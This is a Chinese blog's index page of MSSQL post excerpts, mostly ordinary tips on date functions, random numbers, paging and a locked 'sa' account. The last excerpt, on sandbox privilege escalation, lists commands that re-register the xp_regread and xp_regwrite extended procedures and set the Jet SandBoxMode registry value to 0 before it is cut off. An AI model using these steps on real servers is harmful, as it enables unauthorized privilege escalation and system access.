兔八哥极品软件园    运行: 3877天 | 文章:639 篇 | 评论:181 条 | 碎语:1条

MSSQL日期相加减比大小函数使用示例

作者:admin 发布于:2012-10-12 8:22 Friday 分类:MSSQL

1. 当前系统日期、时间
select getdate()


2. dateadd 在向指定日期加上一段时间的基础上,返回新的 datetime 值
例如:向日期加上2天
select dateadd(day,2,'2004-10-15') --返回:2004-10-17 00:00:00.000

3. datediff 返回跨两个指定日期的日期和时间边界数。
select datediff(day,'2004-09-01','2004-09-18') --返回:17

4. datepart 返回代表指定日期的指定日期部分的整数。
SELECT DATEPART(month, '2004-10-15') --返回 10

5. datename 返回代表指定日期的指定日期部分...

阅读全文>>

标签: mssql

评论(0) 引用(73) 浏览(47799)

MSSQL 随机取随机数函数

作者:admin 发布于:2012-8-9 9:09 Thursday 分类:MSSQL

select rand()

可以看到结果会是类似于这样的随机小数:0.36361513486289558,

像这样的小数在实际应用中用得不多,一般要取随机数都会取随机整数。

 

下面的两种随机取整数的方法

1、
A:select floor(rand()*N)                                  ---生成的数是这样的:12.0
B:select cast( floor(rand()*N) as int)               &n...

阅读全文>>

标签: rand()

评论(0) 引用(50) 浏览(44981)

MSSQL取第 m 条到第 n 条记录的方法

作者:admin 发布于:2012-7-18 16:33 Wednesday 分类:MSSQL

--从Table 表中取出第 m 条到第 n 条的记录:(Not In 版本)
  
  SELECT TOP n-m+1 * 
  FROM Table 
  WHERE (id NOT IN (SELECT TOP m-1 id FROM Table ))  
  
  --从TABLE表中取出第m到n条记录 (Exists版本)
  
  SELECT TOP n-m+1 * FROM TABLE AS a WHERE Not Exists
  (Select * From (Select Top m-1 * From TABLE order by id) b Where b.id=a.id ) 
  Order by id
 
 
  --m为上标,n为下标,例如取出第8到12条记录,m=8,n=12,Table为表名,Temp为临时表
 
  Sel...

阅读全文>>

评论(0) 引用(97) 浏览(48858)

SQLServer该帐户当前被锁定,所以用户'sa'登录失败。系统管理员无法将该帐户解锁

作者:admin 发布于:2012-3-30 8:31 Friday 分类:MSSQL

SQL Server 2005 sa 用户被锁定的问题
Sql Server 2005我也不是没用过,在XP下安装过几次了都好好的,这次在Server 2003下按同样的方式装上后却发现有了几个问题。经过一番努力终于解决了,下面说一下过程~
问题一:无法使用sa用户登录,提示:“登录失败”,也没有进一步的说明了。。。
问题二:用Windows账户能够登录“对象资源管理器”,但无法打开sa用户的属性,提示:“属性IsLocked不可用于登录"[sa].该对像可能 没有此属性,也可能是访问权限不足而无法检索.(Microsoft.SqlServer.Smo)”,同样也不能删除。
这两个问题后来被证实其实是一个原因造成的。其实这和操作系统有关系,在SQL SERVER的联机丛书里得到一些启发,大致就是,当在Windows Server 2003或更高版本环境下运行SQL Serv...

阅读全文>>

标签: SQL

评论(0) 引用(69) 浏览(103322)

MSSQL沙盒提权测试

作者:admin 发布于:2012-3-12 16:56 Monday 分类:MSSQL

如果扩展被删除,先恢复对注册表的读写存储。

dbcc addextendedproc ('xp_regread','xpstar.dll')

dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修复沙盒的保护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--

  查看'SandBoxMode'值是否已经变成0了。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

调用沙盒模式

select *...

阅读全文>>

标签: mssql 沙盒 提权

评论(0) 引用(51) 浏览(53722)


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap